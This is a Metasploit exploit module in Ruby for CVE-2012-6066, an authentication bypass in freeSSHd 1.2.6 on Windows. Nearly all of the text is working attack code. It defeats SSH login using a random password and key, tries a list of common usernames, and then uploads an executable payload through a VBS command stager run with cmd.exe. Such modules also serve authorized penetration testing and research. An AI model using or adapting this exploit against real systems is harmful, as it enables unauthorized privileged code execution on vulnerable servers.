freeSSHd 1.2.6 – Authentication Bypass (Metasploit)
require 'msf/core' require 'tempfile' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Freesshd Authentication Bypass", 'Description' => %q{ This module exploits a vulnerability found in FreeSSHd <= 1.2.6 to bypass authentication. You just need the username (which defaults to root). The exploit has been tested with both password and public key authentication. }, 'License' => MSF_LICENSE, 'Author' => [ 'Aris', # Vulnerability discovery and Exploit 'kcope', # 2012 Exploit 'Daniele Martini <cyrax[at]pkcrew.org>' # Metasploit module ], 'References' => [ [ 'CVE', '2012-6066' ], [ 'OSVDB', '88006' ], [ 'BID', '56785' ], [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2012-12/0012.html' ], [ 'URL', 'http://seclists.org/fulldisclosure/2010/Aug/132' ] ], 'Platform' => 'win', 'Privileged' => true, 'DisclosureDate' => "Aug 11 2010", 'Targets' => [ [ 'Freesshd <= 1.2.6 / Windows (Universal)', {} ] ], 'DefaultTarget' => 0 )) register_options( [ OptInt.new('RPORT', [false, 'The target port', 22]), OptString.new('USERNAMES',[true,'Space Separate list of usernames to try for ssh authentication','root admin Administrator']) ], self.class) end def load_netssh begin require 'net/ssh' return true rescue LoadError return false end end def check connect banner = sock.recv(30) disconnect if banner =~ /SSH-2.0-WeOnlyDo/ version=banner.split(" ")[1] return Exploit::CheckCode::Vulnerable if version =~ /(2.1.3|2.0.6)/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def upload_payload(connection) exe = generate_payload_exe filename = rand_text_alpha(8) + ".exe" cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) opts = { :linemax => 1700, :decoder => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"), } cmds = cmdstager.generate(opts) if (cmds.nil? or cmds.length < 1) print_error("The command stager could not be generated") raise ArgumentError end cmds.each { |cmd| ret = connection.exec!("cmd.exe /c "+cmd) } end def setup_ssh_options pass=rand_text_alpha(8) options={ :password => pass, :port => datastore['RPORT'], :timeout => 1, :proxies => datastore['Proxies'], :key_data => OpenSSL::PKey::RSA.new(2048).to_pem } return options end def do_login(username,options) print_status("Trying username "+username) options[:username]=username transport = Net::SSH::Transport::Session.new(datastore['RHOST'], options) auth = Net::SSH::Authentication::Session.new(transport, options) auth.authenticate("ssh-connection", username, options[:password]) connection = Net::SSH::Connection::Session.new(transport, options) begin Timeout.timeout(10) do connection.exec!('cmd.exe /c echo') end rescue RuntimeError return nil rescue Timeout::Error print_status("Timeout") return nil end return connection end def exploit # # Load net/ssh so we can talk the SSH protocol # has_netssh = load_netssh if not has_netssh print_error("You don't have net/ssh installed. Please run gem install net-ssh") return end options=setup_ssh_options connection = nil usernames=datastore['USERNAMES'].split(' ') usernames.each { |username| connection=do_login(username,options) break if connection } if connection print_status("Uploading payload. (This step can take up to 5 minutes. But if you are here, it will probably work. Have faith.)") upload_payload(connection) handler end end end |